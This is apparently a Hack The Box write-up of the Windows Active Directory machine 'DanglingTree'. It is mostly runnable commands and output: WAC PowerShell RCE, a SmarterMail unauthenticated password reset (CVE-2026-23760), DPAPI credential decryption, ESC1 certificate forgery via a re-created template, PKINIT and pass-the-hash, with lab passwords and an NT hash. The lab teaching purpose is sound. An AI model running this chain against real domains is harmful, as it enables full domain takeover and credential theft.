DanglingTree
DanglingTree is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller that doubles as an Enterprise CA and hosts a Windows Admin Center portal and a SmarterMail server.
- platform
- Hack The Box
- target_os
- Windows (Server 2025 / Build 26100)
- difficulty
- Medium
- season
- Season 11
- logged
- August 18, 2026
Summary of Exploitation
DanglingTree is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller that doubles as an Enterprise CA and hosts a Windows Admin Center portal and a SmarterMail server. Starting from a single set of low-privileged domain credentials leaked in a share, the chain proceeds as follows:
- Share enumeration over a null session reveals a non-standard
ITshare containing a “Rules of Engagement” PDF that leaks the starting credentialsanderson.w : R3dT3am@Acc3ss#01. - Windows Admin Center RCE — port 6600 runs WAC. After logging in with
anderson.w, itsinvokeCommandPowerShell API is abused for command execution on the DC asanderson.w. - SmarterMail authentication bypass — a local-only SmarterMail service (LocalSystem) holds credential material
anderson.wcannot read on disk. An unauthenticatedforce-reset-password(CVE-2026-23760) resetssvc_mail, which is a SmarterMail system administrator. - Backup-domain credential recovery — the SmarterMail sysadmin re-attaches a
.bakbackup domain, enables password retrieval, and reveals plaintext mailbox passwords — recoveringnoah.b : RiverDragon#Storm25, a valid domain account. - DPAPI pivot — running as
noah.byields the user flag and a stored DPAPI credential; decrypting it offline givesalex.o : SunsetMountainPeak@2025.alex.ocan resetjake.h, a member ofTemplate_Editors. - AD CS ESC1 via dangling templates — the CA still publishes three template names whose AD objects were deleted (the box’s namesake). As
jake.h, one is re-created as an ESC1-vulnerable template, an Administrator certificate is forged, and PKINIT yields the Administrator hash — completing the chain.
Recon Phase
An initial service scan was run against the target:
nmap -Pn -n -sCV -p 53,80,88,135,139,389,443,445,636,3268,3389,9389 <target-ip> -oN nmap-sCV.txt
nmap -Pn -n -T4 --min-rate 2500 -p- <target-ip> -oN allports.txt
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 53 | open | domain | Simple DNS Plus |
| 80 | open | http | Microsoft IIS 10.0 (IIS Windows Server) |
| 88 | open | kerberos-sec | Microsoft Windows Kerberos |
| 135 | open | msrpc | Microsoft Windows RPC |
| 139 | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 389 | open | ldap | Microsoft Windows AD LDAP (Domain: danglingtree.htb) |
| 443 | open | ssl/http | Microsoft IIS 10.0 (cert CN = danglingtree-DC-CA) |
| 445 | open | microsoft-ds | |
| 464 | open | kpasswd5 | |
| 593 | open | ncacn_http | RPC over HTTP 1.0 |
| 636 | open | ldapssl | AD LDAP over TLS |
| 3268 | open | ldap | Global Catalog |
| 3389 | open | ms-wbt-server | RDP (cert CN = dc.danglingtree.htb) |
| 6600 | open | http (WAC) | Windows Admin Center (gateway 2.6.4.11) |
| 9389 | open | mc-nmf | .NET Message Framing (AD Web Services) |
Key takeaways from recon:
- The host is the domain controller dc.danglingtree.htb (
domain: danglingtree.htb, NetBIOSDANGLINGTREE, Build 26100 = Server 2025). - The 443 certificate subject
commonName=danglingtree-DC-CAreveals the DC is also an Enterprise Certificate Authority — AD CS is in scope. - WinRM (5985/5986) is filtered — the usual
evil-winrmfoothold is not available; interactive access must come from elsewhere. - Port 6600 is Windows Admin Center — a rich, credentialed attack surface once a domain user is in hand.
- SMB signing is required and the DC enforces LDAP signing / channel binding — plain-389 sign-and-seal (nxc, bloodyAD) is the reliable transport; several LDAPS-defaulting tools return starved results.
- A large clock skew (~7h) was observed, which must be corrected before any Kerberos operation.
The domain and DC hostname were added to /etc/hosts:
echo "<target-ip> dc.danglingtree.htb danglingtree.htb DANGLINGTREE DC" | sudo tee -a /etc/hosts
Note on time sync. Kerberos rejects requests outside a ~5-minute window. This box runs ~7h ahead. For the PKINIT step the attack host clock was set to the DC’s LDAP
currentTimeimmediately before use:RAW=$(ldapsearch -x -LLL -H ldaps://<target-ip>:636 -b '' -s base currentTime | awk '/currentTime/{print $2}') FT="${RAW:0:4}-${RAW:4:2}-${RAW:6:2} ${RAW:8:2}:${RAW:10:2}:${RAW:12:2}" sudo date -u -s "$FT"
SMB Enumeration & Initial Foothold
A null session was accepted for share listing:
smbclient -L //<target-ip> -N
Results:
| Share | Permissions (null) | Remark |
|---|---|---|
| ADMIN$ | — | Remote Admin |
| C$ | — | Default share |
| IPC$ | READ | Remote IPC |
| IT | READ | (custom, no comment) |
| NETLOGON | READ | Logon server share |
| SYSVOL | READ | Logon server share |
A non-standard IT share readable by a null session is the intended entry point. It held a single document:
smbclient //<target-ip>/IT -N -c 'recurse ON; prompt OFF; mget *'
# \Security\DanglingTree_RoE_Assessment.pdf
Extracting the PDF text (its streams are ASCII85 + Flate encoded) revealed a “Provided Credentials” section:
Domain : danglingtree.htb
Username : anderson.w
Password : R3dT3am@Acc3ss#01
Account : Standard Domain User (Low-Privileged)
Credentials validated across SMB / LDAPS / RPC:
nxc smb <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' -d danglingtree.htb
nxc ldap <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' -d danglingtree.htb
AD Enumeration
Anonymous RID cycling and authenticated enumeration mapped the domain. anderson.w has a deliberately restricted LDAP read (an objectCategory=person subtree returns only itself), so RPC/SAMR and targeted queries were used instead:
lookupsid.py -no-pass 'anonymous@<target-ip>' 4000 # domain SID + RID sweep
nxc smb <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' --rid-brute 5000
Notable principals and groups:
| Account | RID | Note |
|---|---|---|
| jake.h | 1103 | Sole member of the custom PKI groups |
| svc_mail | 1110 | Mail service-related account |
| noah.b | 1602 | (holds the user flag) |
| alex.o | 1604 | Member of support-it |
| anderson.w | 2601 | Starting foothold |
| Group | RID | Relevance |
|---|---|---|
| Template_Editors | 1107 | CreateChild on the Certificate Templates |
| DevOps_PKI | 1108 | CreateChild on the OID container (ESC13) |
| Helpdesk_Cert_Support | 1106 | ManageCertificates on the CA (ESC7) |
| Cert_Managers | 1105 | PKI officer group |
| support-it | 1603 | Delegated helpdesk group |
Domain policy notes:
ms-DS-MachineAccountQuota = 0(no new computer accounts → RBCD-via-new-machine blocked).lockoutThreshold = 0(no lockout).- Only SPN-bearing account is
DC$→ classic Kerberoasting yields nothing; AS-REP roasting found no pre-auth-disabled users.
The AD CS enumeration is the standout. The CA danglingtree-DC-CA grants Enroll to Authenticated Users, and its certificateTemplates attribute publishes three non-default template names — EmployeeAuthTemplate, VPNUserTemplate, RemoteAccessVPN — that have no backing object in CN=Certificate Templates,...:
certipy find -u anderson.w@danglingtree.htb -p 'R3dT3am@Acc3ss#01' -dc-ip <target-ip> -ns <target-ip> -vulnerable -stdout
# "Found 33 certificate templates ... Could not find any certificate templates"
These dangling certificate template references — the box’s namesake — become the privilege-escalation payoff once a member of Template_Editors is obtained.
Exploitation Phase
Step 1 — Windows Admin Center → RCE as anderson.w
Port 6600 serves Windows Admin Center. WAC’s browser login uses an RSA-OAEP exchange: fetch a public JWK from /api/user/key, RSA-OAEP(SHA-256)-encrypt {username,password,csrf}, and POST it to /api/user/login. Re-implementing that flow in Python returned an authenticated session (WAC-TOKEN + XSRF-TOKEN).
With a session, the connected node (dc.danglingtree.htb) exposes a PowerShell endpoint that runs as the logged-in user:
POST /api/services/WinREST/PowerShell/nodes/dc.danglingtree.htb/invokeCommand
X-Xsrf-Token: <XSRF-TOKEN>
X-Ms-Sme-Module-Name: msft.sme.shell
X-Ms-Sme-Module-Version: 6.8.9
{ "properties": { "script": "whoami", "command": "Get-WACSMServerConnectionStatus",
"module": "Microsoft.SME.ServerManager", "state": "ready",
"useInProcRunspace": false, "invokeMode": "Polling" } }
results: [ "danglingtree\\anderson.w" ]
This is arbitrary command execution on the DC as anderson.w — but a low-privileged one (only SeChangeNotify, SeIncreaseWorkingSet, SeMachineAccount), with no read access to other users’ profiles or to C:\SmarterMail.
Step 2 — SmarterMail auth bypass (CVE-2026-23760) → sysadmin
Enumerating the box through the RCE revealed a SmarterMail install (MailService.exe, running as LocalSystem) with its web interface bound to localhost:17017, version 100.0.9504. The mail data (C:\SmarterMail\Domains\...) is ACL-locked away from anderson.w.
SmarterMail 100.x is vulnerable to an unauthenticated password reset (/api/v1/auth/force-reset-password). Because the endpoint is only reachable on localhost, the request was issued through the WAC RCE:
$body = @{ IsSysAdmin=$true; OldPassword="x"; Username="svc_mail";
NewPassword="<newpass>"; ConfirmPassword="<newpass>" } | ConvertTo-Json
Invoke-WebRequest -Uri "http://127.0.0.1:17017/api/v1/auth/force-reset-password" `
-Method POST -Body $body -ContentType "application/json" -UseBasicParsing
# {"success":true,"resultCode":200}
Authenticating with the new password shows svc_mail is a system administrator:
# /api/v1/auth/authenticate-user -> isAdmin=True
Step 3 — Backup domain → plaintext mailbox passwords
The users needed for the chain live in a backup domain on disk (C:\SmarterMail\Domains\danglingtree.htb.bak) that is not attached. As SmarterMail sysadmin, the live domain was detached and the backup attached in its place (the license allows one domain), then renamed to the original name so user emails resolve:
detach-domain/danglingtree.htb
attach-domain {domainName:"danglingtree.htb", domainPath:"...\danglingtree.htb.bak"}
rename-domain {oldDomainName:"danglingtree.htb.bak", newDomainName:"danglingtree.htb"}
# -> danglingtree.htb now backed by the .bak store, userCount:6
svc_mail was made the domain’s primary admin, and the global “password retrieval” flags (enablePasswordRetrieval, enableShowPasswords) were toggled on. Impersonating svc_mail produced a domain-admin token carrying role: DomainAdmin and CanViewPasswords: True, which the show-password endpoint honours (note the required token field in the body):
POST /api/v1/settings/domain/show-password/
{ "token": "<impersonation-token>", "emailAddress": "noah.b@danglingtree.htb" }
-> { "password": "RiverDragon#Storm25" }
Every mailbox password was revealed; only noah.b : RiverDragon#Storm25 validated as a live domain account:
nxc smb <target-ip> -u noah.b -p 'RiverDragon#Storm25' -d danglingtree.htb # [+]
Step 4 — DPAPI pivot: noah.b → alex.o
noah.b has no WinRM/RDP, so RunasCs was delivered to the DC through the WAC RCE (base64 chunk-upload) and used to execute commands as noah.b. This yielded the user flag and a stored DPAPI credential pointing at alex.o:
C:\Windows\Temp\svc.exe noah.b 'RiverDragon#Storm25' \
"cmd /c type C:\Users\noah.b\Desktop\user.txt & cmdkey /list" danglingtree.htb
<REDACTED> # user.txt
Target: Domain:target=PC01.danglingtree.htb User: alex.o
noah.b’s DPAPI masterkey and credential blob were copied to a readable location (as noah.b) and exfiltrated, then decrypted offline with dpapi.py using noah.b’s password:
dpapi.py masterkey -file mk.bin \
-sid S-1-5-21-4220238332-57023728-1129110646-1602 -password 'RiverDragon#Storm25'
# Decrypted key: 0x7120d9adb3b8...
dpapi.py credential -file cred.bin -key 0x7120d9adb3b8...
# Username : alex.o
# Unknown : SunsetMountainPeak@2025
nxc smb <target-ip> -u alex.o -p 'SunsetMountainPeak@2025' -d danglingtree.htb # [+] (member of support-it)
Step 5 — alex.o → reset jake.h
alex.o (via support-it) holds the rights to reset jake.h, the sole member of the PKI groups:
bloodyAD -d danglingtree.htb -u alex.o -p 'SunsetMountainPeak@2025' \
--host dc.danglingtree.htb --dc-ip <target-ip> set password jake.h '<newpass>'
# [+] Password changed successfully!
nxc smb <target-ip> -u jake.h -p '<newpass>' -d danglingtree.htb # [+]
jake.h is a member of Template_Editors, DevOps_PKI, and Helpdesk_Cert_Support.
Step 6 — AD CS ESC1 via dangling template → Administrator
Template_Editors holds CreateChild on the Certificate Templates container, and the CA still publishes EmployeeAuthTemplate despite the object being deleted. Re-creating an object with that exact name produces a template that is already published and enabled on the CA — no ManageCA needed.
As jake.h, the enabled User template was cloned into a new EmployeeAuthTemplate, configured for ESC1 at creation time — msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT), Client Authentication EKU (1.3.6.1.5.5.7.3.2), msPKI-RA-Signature = 0 (no manager approval):
# ldap3 add CN=EmployeeAuthTemplate,CN=Certificate Templates,CN=Public Key Services,...
# objectClass: pKICertificateTemplate
# msPKI-Certificate-Name-Flag: 1 # ENROLLEE_SUPPLIES_SUBJECT
# pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client Authentication
# msPKI-RA-Signature: 0 ; msPKI-Enrollment-Flag: 0
As the object’s creator, jake.h rewrote its DACL to grant enrollment (Authenticated Users / jake.h full control). The CA then issued a certificate with an arbitrary Administrator SAN/SID:
certipy req -u jake.h@danglingtree.htb -p '<newpass>' -dc-ip <target-ip> -target dc.danglingtree.htb \
-ca danglingtree-DC-CA -template EmployeeAuthTemplate \
-upn administrator@danglingtree.htb -sid S-1-5-21-4220238332-57023728-1129110646-500
# [*] Wrote certificate and private key to 'administrator.pfx'
After syncing the clock to the DC, PKINIT with the certificate returned the Administrator NT hash:
sudo date -u -s "<DC-time>"
certipy auth -pfx administrator.pfx -dc-ip <target-ip> -domain danglingtree.htb -username administrator
# [*] Got hash for 'administrator@danglingtree.htb':
# aad3b435b51404eeaad3b435b51404ee:8cacb3a97e460c65d105ca7cd9913925
Tooling notes
certipy template -write-default-configurationonly edits an existing template — the object must be created first (jake.h can create but not freely modify), so the ESC1 attributes were set at creation and the DACL rewritten separately as the creator/owner.- The CA already publishing the deleted template’s name is what makes this work without
ManageCA— nocertutil -setcatemplatesneeded.faketimedid not intercept certipy’s clock; setting the host clock to the DC’s LDAPcurrentTimeis the reliable skew fix.
Root Flag Successfully Obtained
Pass-the-hash with the recovered Administrator hash confirmed Domain Admin and read both flags:
nxc smb <target-ip> -u administrator -H 8cacb3a97e460c65d105ca7cd9913925
# [+] danglingtree.htb\administrator (admin)
nxc smb <target-ip> -u administrator -H 8cacb3a97e460c65d105ca7cd9913925 \
-x "type C:\Users\Administrator\Desktop\root.txt"
Key Takeaways
- Read the box’s services as design hints. A DC also running Windows Admin Center (6600), an Enterprise CA, and SmarterMail signposts the whole chain: portal → mail creds → certificate abuse.
- Windows Admin Center is credentialed RCE. Its
invokeCommandAPI executes PowerShell as the logged-in user; a low-priv domain account plus WAC access is a foothold on the DC — even with WinRM filtered. - Application admin ≠ file read, but it’s often enough. Rather than fighting LocalSystem ACLs, the SmarterMail sysadmin (via a CVE-2026-23760 reset) re-attached a backup domain and used the built-in “show password” feature to hand over plaintext credentials.
- DPAPI turns one user into the next. A
cmdkey-stored credential plus the owning user’s password decrypts cleanly offline — no LSASS access required — pivotingnoah.b → alex.o. - Dangling certificate templates are the theme and the win. The CA kept publishing template names whose objects were deleted; a
Template_Editorsmember re-created one as ESC1 (ENROLLEE_SUPPLIES_SUBJECT+ Client Auth) and forged an Administrator certificate → PKINIT → DA. - Mind the clock. A ~7h skew silently breaks every Kerberos step; sync the host clock to the DC (LDAP
currentTime) immediately before PKINIT.
Full Attack Chain
IT share (null session) ──> RoE PDF ──> anderson.w : R3dT3am@Acc3ss#01
└─ Windows Admin Center (6600) ──> invokeCommand RCE as anderson.w
└─ SmarterMail CVE-2026-23760 (force-reset-password) ──> svc_mail (mail sysadmin)
└─ attach .bak domain + show-password ──> noah.b : RiverDragon#Storm25
└─ RunasCs as noah.b ──> user.txt + DPAPI cred [USER]
└─ dpapi.py ──> alex.o : SunsetMountainPeak@2025
└─ reset jake.h (Template_Editors)
└─ dangling template EmployeeAuthTemplate → ESC1
└─ certipy req + PKINIT ──> Administrator hash [ROOT]